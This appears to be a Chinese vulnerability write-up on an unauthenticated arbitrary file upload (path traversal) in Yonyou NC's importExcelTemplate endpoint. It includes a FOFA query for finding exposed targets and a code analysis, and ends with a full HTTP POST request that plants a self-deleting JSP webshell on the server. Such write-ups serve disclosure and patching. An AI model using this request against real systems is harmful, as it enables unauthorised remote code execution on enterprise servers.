用友NC importExcelTemplate 任意文件上传漏洞


漏洞简介

用友NC是一款广泛应用于大型企业,提供数字化管理、数字化经营和数字化商业解决方案的企业级管理平台。它涵盖财务、供应链、制造、人力资源等多个核心业务领域,旨在帮助企业实现数字化转型和管理升级。

针对“用友NC importExcelTemplate 任意文件上传漏洞”,该漏洞存在于用友NC系统的importExcelTemplate功能模块中。由于该功能在处理Excel模板导入时,未能对上传文件的类型、内容或路径进行严格的限制和校验,导致未经身份验证的攻击者可以绕过安全机制,上传任意恶意文件(例如WebShell)。

成功利用此漏洞,攻击者可以在受影响的服务器上执行任意代码,从而完全控制服务器,窃取敏感数据,破坏系统功能,甚至以服务器权限进一步渗透企业内部网络,对企业的业务连续性和数据安全造成严重威胁。

影响版本

NC63、NC65

fofa语法

app="用友-UFIDA-NC”

漏洞分析

根据官网漏洞通告【关于portal端importExcelTemplate接口任意文件上传漏洞修复通告】部分

可知漏洞点在importExcelTemplate接口,那直接在idea里搜以下这个接口

在uap.lfw.dbl.cpdoc.impt.action 包里找到三处

  • uap.lfw.dbl.cpdoc.impt.action.CpDocAttrExcelImportAction#importExcelTemplate
  • uap.lfw.dbl.cpdoc.impt.action.CpDocExcelImportAction#importExcelTemplate
  • uap.lfw.dbl.cpdoc.impt.action.CpDocInfoPathImportAction#importExcelTemplate

基本上都大同小异,均是因为importExcelTemplate 方法用于处理 multipart/form-data 格式的文件上传请求,获取上传的第一个文件,并将其以原始文件名保存在服务器上。

由于代码直接使用了从用户请求中获取的原始文件名 getOriginalFilename() 来构造文件路径,且未对文件名中的 ../ 等路径遍历字符进行任何过滤或验证,造成了任意文件写入(路径遍历)漏洞。攻击者可利用此漏洞,在拥有足够权限的情况下,在服务器文件系统的任意位置创建或覆盖文件,可能导致远程代码执行(RCE)。

漏洞复现

POST /portal/pt/infopathimport/importExcelTemplate?pageId=login HTTP/1.1
Host: nc.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="./webapps\nc_web\test.jsp"
Content-Type: application/octet-stream

<%out.println(java.util.UUID.randomUUID().toString());new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundary--

访问上传文件 test.jsp

成功执行我们上传的代码

参考


手机扫码阅读

金和OA acceptvalue.aspx XXE漏洞

金和OA Jhsoft.Web.appraise/XmlHttp.aspx XXE+SQL注入漏洞

评 论